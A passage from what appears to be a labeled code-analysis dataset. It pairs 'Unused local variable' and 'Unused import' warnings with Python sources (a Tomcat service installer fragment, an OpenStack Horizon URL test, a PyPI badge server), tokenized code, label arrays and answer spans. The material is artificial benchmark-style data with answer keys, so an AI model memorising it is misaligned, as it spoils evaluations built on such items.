"\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "copy", "ing", " ", "script", " ", "file", " ", "%", "s", " ", "to", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "tom", "cat", "\\u", "template", "\\u", "cent", "os", "7_", ",_", "dest", "\\u", "folder_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "init", "\\u", "file_", "in_", "self_", "._", "init", "\\u", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "script", "\\u", "name_", "=_", "os_", "._", "path_", "._", "split_", "(_", "init", "\\u", "file_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "copy", "File_", "(_", "init", "\\u", "file_", ",_", "\"/", "etc", "/", "init", ".", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "\"", "chm", "od", "\"_", ",_", "\"", "755", "\"_", ",_", "\"/", "etc", "/", "init", ".", "d", "/", "%", "s", "\"_", "%_", "script", "\\u", "name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "copy", "ing", " ", "script", " ", "file", " ", "%", "s", " ", "to", " ", "/", "etc", "/", "init", ".", "d", "\"_", "%_", "init", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "os", "\\u", "type_", "in_", "[_", "'", "cent", "os", "'_", ",_", "'", "red", "hat", "'_", ",_", "'", "fedo", "ra", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "service_", "in_", "self_", "._", "red", "hat", "\\u", "services_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run_", "(_", "[_", "\"/", "sb", "in", "/", "chk", "config", "\"_", ",_", "service_", ",_", "\"", "on", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "os", "\\u", "type_", "in_", "[_", "'", "ubu", "ntu", "'_", ",_", "'", "debi", "an", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run_", "(_", "[_", "\"/", "usr", "/", "sb", "in", "/", "update", "-", "rc", ".", "d", "\"_", ",_", "'", "tom", "cat", "'_", ",_", "'", "start", "'_", ",_", "'", "50", "'_", ",_", "'", "3", "'_", ",_", "\".\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "service_", "in_", "self_", "._", "debi", "an", "\\u", "services_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run_", "(_", "[_", "\"/", "usr", "/", "sb", "in", "/", "update", "-", "rc", ".", "d", "\"_", ",_", "service_", ",_", "'", "enable", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
openstack/horizon/openstack_dashboard/test/api_tests/base_tests.py
[ { "content": " def test_url_for(self):\n url = api_base.url_for(self.request, 'image')\n self.assertEqual('http://public.glance.example.com:9292/v1', url)\n\n url = api_base.url_for(self.request, 'image', endpoint_type='adminURL')\n self.assertEqual('http://admin.glance.example.com:9292/v1', url)\n\n url = api_base.url_for(self.request, 'compute')\n self.assertEqual('http://public.nova.example.com:8774/v2', url)\n\n url = api_base.url_for(self.request, 'compute',\n endpoint_type='adminURL')\n self.assertEqual('http://admin.nova.example.com:8774/v2', url)\n\n url = api_base.url_for(self.request, 'volumev2')\n self.assertEqual('http://public.nova.example.com:8776/v2', url)\n\n url = api_base.url_for(self.request, 'volumev2',\n endpoint_type=\"internalURL\")\n self.assertEqual('http://int.nova.example.com:8776/v2', url)\n\n url = api_base.url_for(self.request, 'volumev2',\n endpoint_type='adminURL')\n self.assertEqual('http://admin.nova.example.com:8776/v2', url)\n\n self.assertNotIn('notAnApi', self.request.user.service_catalog,\n 'Select a new nonexistent service catalog key')\n with self.assertRaises(exceptions.ServiceCatalogException):\n url = api_base.url_for(self.request, 'notAnApi')\n\n self.request.user.services_region = \"RegionTwo\"\n url = api_base.url_for(self.request, 'compute')\n self.assertEqual('http://public.nova2.example.com:8774/v2', url)\n\n self.request.user.services_region = \"RegionTwo\"\n url = api_base.url_for(self.request, 'compute',\n endpoint_type='adminURL')\n self.assertEqual('http://admin.nova2.example.com:8774/v2', url)\n\n self.request.user.services_region = \"RegionTwo\"\n with self.assertRaises(exceptions.ServiceCatalogException):\n url = api_base.url_for(self.request, 'image')\n\n self.request.user.services_region = \"bogus_value\"\n url = api_base.url_for(self.request, 'identity',\n endpoint_type='adminURL')\n self.assertEqual('http://admin.keystone.example.com:35357/v2.0', url)\n\n self.request.user.services_region = \"bogus_value\"\n with self.assertRaises(exceptions.ServiceCatalogException):\n url = api_base.url_for(self.request, 'image')", "metadata": "root.ApiHelperTests.test_url_for", "header": "['class', 'ApiHelperTests', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 190 } ]
[ { "span": "url ", "start_line": 240, "start_column": 12, "end_line": 240, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Ap", "i", "Help", "er", "Tests_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "test\\u", "url", "\\u", "for_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "api", "\\u", "base_", "._", "url", "\\u", "for_", "(_", "self_", "._", "request_", ",_", "'", "image", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "http", "://", "public", ".", "gla", "nce", ".", "example", ".", "com", ":", "929", "2", "/", "v1", "'_", ",_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "api", "\\u", "base_", "._", "url", "\\u", "for_", "(_", "self_", "._", "request_", ",_", "'", "image", "'_", ",_", "endpoint", "\\u", "type_", "=_", "'", "admin", "URL", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "http", "://", "admin", ".", "gla", "nce", ".", "example", ".", "com", ":", "929", "2", "/", "v1", "'_", ",_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "api", "\\u", "base_", "._", "url", "\\u", "for_", "(_", "self_", "._", "request_", ",_", "'", "compute", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "http", "://", "public", ".", "nova", ".", "example", ".", "com", ":", "877", "4", "/", "v2", "'_", ",_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "api", "\\u", "base_", "._", "url", "\\u", "for_", "(_", "self_", "._", "request_", ",_", "'", "compute", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "endpoint", "\\u", "type_", "=_", "'", "admin", "URL", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "http", "://", "admin", ".", "nova", ".", "example", ".", "com", ":", "877", "4", "/", "v2", "'_", ",_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "api", "\\u", "base_", "._", "url", "\\u", "for_", "(_", "self_", "._", "request_", ",_", "'", "volume", "v2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "http", "://", "public", ".", "nova", ".", "example", ".", "com", ":", "877", "6", "/", "v2", "'_", ",_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "api", "\\u", "base_", "._", "url", "\\u", "for_", "(_", "self_", "._", "request_", ",_", "'", "volume", "v2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "endpoint", "\\u", "type_", "=_", "\"", "internal", "URL", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "http", "://", "int", ".", "nova", ".", "example", ".", "com", ":", "877", "6", "/", "v2", "'_", ",_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "api", "\\u", "base_", "._", "url", "\\u", "for_", "(_", "self_", "._", "request_", ",_", "'", "volume", "v2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "endpoint", "\\u", "type_", "=_", "'", "admin", "URL", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "http", "://", "admin", ".", "nova", ".", "example", ".", "com", ":", "877", "6", "/", "v2", "'_", ",_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Not", "In_", "(_", "'", "not", "An", "Ap", "i", "'_", ",_", "self_", "._", "request_", "._", "user_", "._", "service", "\\u", "catalog_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Select", " ", "a", " ", "new", " ", "nonexist", "ent", " ", "service", " ", "catal", "og", " ", "key", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "exceptions_", "._", "Service", "Catalog", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "api", "\\u", "base_", "._", "url", "\\u", "for_", "(_", "self_", "._", "request_", ",_", "'", "not", "An", "Ap", "i", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "request_", "._", "user_", "._", "service", "s", "\\u", "region_", "=_", "\"", "Region", "Tw", "o", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "api", "\\u", "base_", "._", "url", "\\u", "for_", "(_", "self_", "._", "request_", ",_", "'", "compute", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "http", "://", "public", ".", "nova", "2", ".", "example", ".", "com", ":", "877", "4", "/", "v2", "'_", ",_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "request_", "._", "user_", "._", "service", "s", "\\u", "region_", "=_", "\"", "Region", "Tw", "o", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "api", "\\u", "base_", "._", "url", "\\u", "for_", "(_", "self_", "._", "request_", ",_", "'", "compute", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "endpoint", "\\u", "type_", "=_", "'", "admin", "URL", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "http", "://", "admin", ".", "nova", "2", ".", "example", ".", "com", ":", "877", "4", "/", "v2", "'_", ",_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "request_", "._", "user_", "._", "service", "s", "\\u", "region_", "=_", "\"", "Region", "Tw", "o", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "exceptions_", "._", "Service", "Catalog", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "api", "\\u", "base_", "._", "url", "\\u", "for_", "(_", "self_", "._", "request_", ",_", "'", "image", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "request_", "._", "user_", "._", "service", "s", "\\u", "region_", "=_", "\"", "bog", "us", "\\u", "value", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "api", "\\u", "base_", "._", "url", "\\u", "for_", "(_", "self_", "._", "request_", ",_", "'", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "endpoint", "\\u", "type_", "=_", "'", "admin", "URL", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "http", "://", "admin", ".", "keystone", ".", "example", ".", "com", ":", "353", "5", "7", "/", "v2", ".0", "'_", ",_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "request_", "._", "user_", "._", "service", "s", "\\u", "region_", "=_", "\"", "bog", "us", "\\u", "value", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "exceptions_", "._", "Service", "Catalog", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "api", "\\u", "base_", "._", "url", "\\u", "for_", "(_", "self_", "._", "request_", ",_", "'", "image", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
badges/pypipins/shields/shields.py
[ { "content": "try:\n from StringIO import StringIO as BytesIO\nexcept ImportError:\n from io import BytesIO\n\nimport gc\nimport hashlib\nimport json\nimport mimetypes\nimport os\nimport re\nimport time\n\ntry:\n from urllib import quote as urllib_quote\nexcept ImportError: # python3\n from urllib.parse import quote as urllib_quote\n\nfrom klein import Klein\nfrom redis import Redis\nimport requests\nfrom yarg.package import json2package\n\n\nPYPI_URL = \"https://pypi.python.org/pypi/%s/json\"\nSHIELD_URL = \"http://img.shields.io/badge/%s-%s-%s.%s\"\n# SHIELD_URL = \"http://localhost:9000/badge/%s-%s-%s.%s\" # pypip.in uses a local version of img.shields.io\nFILE_CACHE = \"/tmp/shields.py/\"\nCACHE_TIME = (60 * 60) * 24 # 24 hours\nREDIS_EXPIRE = 60 * 10 # 10 minutes\n\napp = Klein()\nredis = Redis()\n\n\n\n\n\n\nintword_converters = (\n (3, lambda number: format_number('%(value).1fk', number)),\n (6, lambda number: format_number('%(value).1fM', number)),\n (9, lambda number: format_number('%(value).1fB', number)),\n)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ngenerators = {\n 'd': DownloadHandler,\n 'download': DownloadHandler,\n 'v': VersionHandler,\n 'version': VersionHandler,\n 'wheel': WheelHandler,\n 'egg': EggHandler,\n 'license': LicenseHandler,\n 'format': FormatHandler,\n 'py_versions': PythonVersionsHandler,\n 'implementation': ImplementationHandler,\n 'status': StatusHandler,\n}\n\n\n\n\nif __name__ == '__main__':\n if not os.path.exists(FILE_CACHE):\n os.mkdir(FILE_CACHE)\n if '.svg' not in mimetypes.types_map:\n mimetypes.add_type(\"image/svg+xml\", \".svg\")\n app.run(\"localhost\", 8888)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def format_number(singular, number):\n value = singular % {'value': number}\n # Get rid of the .0 but keep the other decimals\n return value.replace('.0', '')", "metadata": "root.format_number", "header": "['module', '___EOS___']", "index": 35 }, { "content": "def escape_shield_query(text):\n \"\"\"Escape text to be inserted in a shield API request.\"\"\"\n text = urllib_quote(text, safe=' ')\n text = text.replace('_', '__')\n text = text.replace(' ', '_')\n text = text.replace('-', '--')\n return text", "metadata": "root.escape_shield_query", "header": "['module', '___EOS___']", "index": 41 }, { "content": "class PypiHandler(object):\n '''Get the pypi json data for the package, and process.'''\n shield_subject = None\n request = None\n format = 'svg'\n cacheable = False\n\n\n\n", "metadata": "root.PypiHandler", "header": "['module', '___EOS___']", "index": 57 }, { "content": " def get(self, request, package, format, *args, **kwargs):\n self.request = request\n self.format = format\n url = PYPI_URL % package\n r_data = redis.get(package)\n if r_data:\n self.package = json2package(r_data)\n return self.handle_package_data()\n try:\n response = requests.get(url)\n response.raise_for_status()\n except requests.exceptions.HTTPError as e:\n self.shield_subject = 'error'\n return self.write_shield('error', 'red')\n else:\n redis.set(package, response.content)\n redis.expire(package, REDIS_EXPIRE)\n self.package = json2package(response.content)\n return self.handle_package_data()", "metadata": "root.PypiHandler.get", "header": "['class', 'PypiHandler', '(', 'object', ')', ':', '___EOS___']", "index": 64 }, { "content": " def handle_package_data(self):\n '''Look at the pypi data and decide what text goes on the badge.'''\n raise NotImplementedError", "metadata": "root.PypiHandler.handle_package_data", "header": "['class', 'PypiHandler', '(', 'object', ')', ':', '___EOS___']", "index": 84 }, { "content": " def hash(self, url):\n return hashlib.md5(url).hexdigest()", "metadata": "root.PypiHandler.hash", "header": "['class', 'PypiHandler', '(', 'object', ')', ':', '___EOS___']", "index": 88 }, { "content": " def write_shield(self, status, colour='brightgreen'):\n '''Obtain and write the shield to the response.'''\n shield_url = SHIELD_URL % (\n self.shield_subject,\n status,\n colour,\n self.format,\n )\n style = self.request.args.get('style', 'flat')\n if style is not None and style[0] in ['flat', 'flat-square', 'plastic' ]:\n style = style[0]\n shield_url += \"?style={0}\".format(style)\n shield_url = shield_url.replace(\" \", \"_\")\n\n ihash = self.hash(shield_url)\n cache = os.path.join(FILE_CACHE, ihash)\n if os.path.exists(cache) and self.cacheable:\n mtime = os.stat(cache).st_mtime + CACHE_TIME\n if mtime > time.time():\n return open(cache).read()\n\n shield_response = requests.get(shield_url, stream=True)\n img = BytesIO()\n for chunk in shield_response.iter_content(1024):\n if not chunk:\n break\n img.write(chunk)\n if self.cacheable:\n with open(cache, 'w') as ifile:\n img.seek(0)\n ifile.write(img.read())\n img.seek(0)\n return img.read()", "metadata": "root.PypiHandler.write_shield", "header": "['class', 'PypiHandler', '(', 'object', ')', ':', '___EOS___']", "index": 91 }, { "content": "class DownloadHandler(PypiHandler):\n shield_subject = 'downloads'\n\n # Pretty much taken straight from Django\n", "metadata": "root.DownloadHandler", "header": "['module', '___EOS___']", "index": 126 }, { "content": " def intword(self, value):\n try:\n value = int(value)\n except (TypeError, ValueError):\n return value\n\n if value < 1000:\n return str(value)\n\n for exponent, converters in intword_converters:\n large_number = 10 ** exponent\n if value < large_number * 1000:\n new_value = value / float(large_number)\n return converters(new_value)", "metadata": "root.DownloadHandler.intword", "header": "['class', 'DownloadHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 130 }, { "content": " def handle_package_data(self):\n period = self.request.args.get('period', 'month')\n if isinstance(period, list):\n period = period[0]\n if period not in ('day', 'week', 'month'):\n period = 'month'\n downloads = getattr(self.package.downloads, period)\n downloads = self.intword(downloads)\n pperiod = \"%s/%s\" % (downloads, period)\n return self.write_shield(pperiod)", "metadata": "root.DownloadHandler.handle_package_data", "header": "['class', 'DownloadHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 145 }, { "content": "class VersionHandler(PypiHandler):\n shield_subject = 'pypi'\n", "metadata": "root.VersionHandler", "header": "['module', '___EOS___']", "index": 157 }, { "content": " def handle_package_data(self):\n text = self.request.args.get('text', 'pypi')\n if text[0] in ('pypi', 'version'):\n self.shield_subject = text[0]\n return self.write_shield(self.package.latest_release_id.replace('-', '--'))", "metadata": "root.VersionHandler.handle_package_data", "header": "['class', 'VersionHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 160 }, { "content": "class WheelHandler(PypiHandler):\n shield_subject = 'wheel'\n cacheable = True\n", "metadata": "root.WheelHandler", "header": "['module', '___EOS___']", "index": 167 }, { "content": " def handle_package_data(self):\n has_wheel = self.package.has_wheel\n wheel_text = \"yes\" if has_wheel else \"no\"\n colour = \"brightgreen\" if has_wheel else \"red\"\n return self.write_shield(wheel_text, colour)", "metadata": "root.WheelHandler.handle_package_data", "header": "['class', 'WheelHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 171 }, { "content": "class EggHandler(PypiHandler):\n shield_subject = 'egg'\n cacheable = True\n", "metadata": "root.EggHandler", "header": "['module', '___EOS___']", "index": 178 }, { "content": " def handle_package_data(self,):\n has_egg = self.package.has_egg\n egg_text = \"yes\" if has_egg else \"no\"\n colour = \"red\" if has_egg else \"brightgreen\"\n return self.write_shield(egg_text, colour)", "metadata": "root.EggHandler.handle_package_data", "header": "['class', 'EggHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 182 }, { "content": "class FormatHandler(PypiHandler):\n shield_subject = 'format'\n cacheable = True\n", "metadata": "root.FormatHandler", "header": "['module', '___EOS___']", "index": 189 }, { "content": " def handle_package_data(self):\n has_egg = self.package.has_egg\n colour = \"yellow\"\n text = \"source\"\n text = \"egg\" if has_egg else text\n colour = \"red\" if has_egg else colour\n has_wheel = self.package.has_wheel\n text = \"wheel\" if has_wheel else text\n colour = \"brightgreen\" if has_wheel else colour\n return self.write_shield(text, colour)", "metadata": "root.FormatHandler.handle_package_data", "header": "['class', 'FormatHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 193 }, { "content": "class LicenseHandler(PypiHandler):\n shield_subject = 'license'\n cacheable = True\n\n", "metadata": "root.LicenseHandler", "header": "['module', '___EOS___']", "index": 205 }, { "content": " def get_license(self):\n '''Get the package license.'''\n if self.package.license and '\\n' not in self.package.license and \\\n self.package.license.upper() != 'UNKNOWN':\n return self.package.license\n if self.package.license_from_classifiers:\n return self.package.license_from_classifiers\n return \"unknown\"", "metadata": "root.LicenseHandler.get_license", "header": "['class', 'LicenseHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 209 }, { "content": " def handle_package_data(self):\n license = self.get_license()\n license = escape_shield_query(license)\n colour = \"blue\" if license != \"unknown\" else \"red\"\n return self.write_shield(license, colour)", "metadata": "root.LicenseHandler.handle_package_data", "header": "['class', 'LicenseHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 218 }, { "content": "class PythonVersionsHandler(PypiHandler):\n shield_subject = 'python'\n cacheable = True\n\n", "metadata": "root.PythonVersionsHandler", "header": "['module', '___EOS___']", "index": 225 }, { "content": " def get_versions(self):\n \"\"\"\"\n Get supported Python versions\n \"\"\"\n if not isinstance(self.package.classifiers, list) and \\\n not len(self.package.classifiers) > 0:\n return \"none found\"\n cs = self.package.python_versions\n cs = sorted(set(cs))\n if not len(cs) > 0:\n # assume 2.7\n return \"2.7\"\n return cs", "metadata": "root.PythonVersionsHandler.get_versions", "header": "['class', 'PythonVersionsHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 229 }, { "content": " def handle_package_data(self):\n versions = self.get_versions()\n if not isinstance(versions, list):\n return self.write_shield(versions, 'blue')\n return self.write_shield(\", \".join(versions), 'blue')", "metadata": "root.PythonVersionsHandler.handle_package_data", "header": "['class', 'PythonVersionsHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 243 }, { "content": "class ImplementationHandler(PypiHandler):\n shield_subject = 'implementation'\n cacheable = True\n\n", "metadata": "root.ImplementationHandler", "header": "['module', '___EOS___']", "index": 250 }, { "content": " def get_implementations(self):\n \"\"\"\"\n Get supported Python implementations\n \"\"\"\n cs = self.package.python_implementations\n cs = [c.lower() for c in cs]\n if not len(cs) > 0:\n # assume CPython\n return 'cpython'\n return cs", "metadata": "root.ImplementationHandler.get_implementations", "header": "['class', 'ImplementationHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 254 }, { "content": " def handle_package_data(self):\n versions = self.get_implementations()\n if not isinstance(versions, list):\n return self.write_shield(versions, 'blue')\n return self.write_shield(\", \".join(versions), 'blue')", "metadata": "root.ImplementationHandler.handle_package_data", "header": "['class', 'ImplementationHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 265 }, { "content": "class StatusHandler(PypiHandler):\n shield_subject = 'status'\n cacheable = True\n\n", "metadata": "root.StatusHandler", "header": "['module', '___EOS___']", "index": 272 }, { "content": " def get_status(self):\n if not isinstance(self.package.classifiers, list) and \\\n not len(self.package.classifiers) > 0:\n return \"none found\"\n for classifier in self.package.classifiers:\n if classifier.startswith(\"Development Status\"):\n bits = classifier.split(' :: ')\n return bits[1].split(' - ')\n return \"1\", \"unknown\"", "metadata": "root.StatusHandler.get_status", "header": "['class', 'StatusHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 276 }, { "content": " def handle_package_data(self):\n statuses = {'1': 'red', '2': 'red', '3': 'red', '4': 'yellow',\n '5': 'brightgreen', '6': 'brightgreen', '7': 'red'}\n code, status = self.get_status()\n status = status.lower().replace('-', '--')\n status = \"stable\" if status == \"production/stable\" else status\n return self.write_shield(status, 